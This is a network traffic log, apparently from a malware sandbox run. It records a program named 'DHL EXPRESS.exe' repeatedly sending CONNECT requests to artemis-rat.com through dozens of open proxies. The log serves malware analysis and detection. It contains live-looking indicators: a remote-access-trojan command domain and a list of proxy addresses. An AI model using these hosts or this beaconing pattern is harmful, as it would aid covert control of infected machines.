Mar 11, 2024 18:36:55.035599947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.065952063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.066318989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.066195011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.065659046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1828	192.168.2.8	55197	177.38.5.16	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.035799026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1829	192.168.2.8	55196	27.76.193.213	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.035983086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1830	192.168.2.8	53961	45.11.95.166	6014	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.036276102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.800237894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.706748962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.300349951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1831	192.168.2.8	51766	101.51.121.29	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.036489010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1832	192.168.2.8	54954	72.195.101.99	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.044969082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1833	192.168.2.8	54142	142.54.229.249	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.045937061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1834	192.168.2.8	54843	117.160.250.163	9999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.048882008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.309674978 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 17:36:56 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.
Mar 11, 2024 18:37:02.244107962 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 17:36:56 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1835	192.168.2.8	55198	203.218.172.225	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.048995972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1836	192.168.2.8	54838	107.180.88.41	37597	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.050199986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.065970898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.066310883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1837	192.168.2.8	54061	51.159.66.158	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.050467014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.064650059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.619847059 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1838	192.168.2.8	54564	74.119.144.60	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.053708076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1839	192.168.2.8	54123	91.134.140.160	57320	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.082707882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1840	192.168.2.8	55200	45.120.178.197	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.094000101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1841	192.168.2.8	54860	170.83.77.246	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.094646931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.198146105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.206737995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.206731081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1842	192.168.2.8	54774	94.198.211.217	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.102525949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1843	192.168.2.8	54140	195.138.65.34	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.120178938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1844	192.168.2.8	54039	49.231.0.178	55860	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.136720896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1845	192.168.2.8	54952	92.204.134.38	51123	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.155164003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.409502983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1846	192.168.2.8	54723	121.101.131.67	1111	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.168438911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.327877998 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1847	192.168.2.8	55203	138.36.150.26	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.168466091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1848	192.168.2.8	55205	103.127.1.130	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.206912994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1849	192.168.2.8	54146	188.136.164.140	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.215368986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.822436094 CET	92	IN	HTTP/1.0 200 Connection established Proxy-agent: Kerio Control/9.4.2 patch 1 build 7290

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1850	192.168.2.8	54829	185.216.18.138	44550	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.226428032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1851	192.168.2.8	52235	162.241.79.22	35318	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.237061024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.300127029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.347054005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.409907103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.409532070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1852	192.168.2.8	54918	148.72.209.174	64938	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.249496937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.097048998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.206639051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.300507069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.409738064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.558482885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.706468105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1853	192.168.2.8	52180	62.33.53.248	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.525729895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.484311104 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1854	192.168.2.8	55201	5.10.249.159	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.526298046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.565973043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.066173077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.066035032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.066061974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.065809965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.065659046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:30.971904993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1855	192.168.2.8	54172	148.72.23.56	3260	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.526602983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.565823078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.566168070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.566221952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.565665960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:31.690665960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:43.784446955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1856	192.168.2.8	52238	51.91.109.83	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.526834965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.565840006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
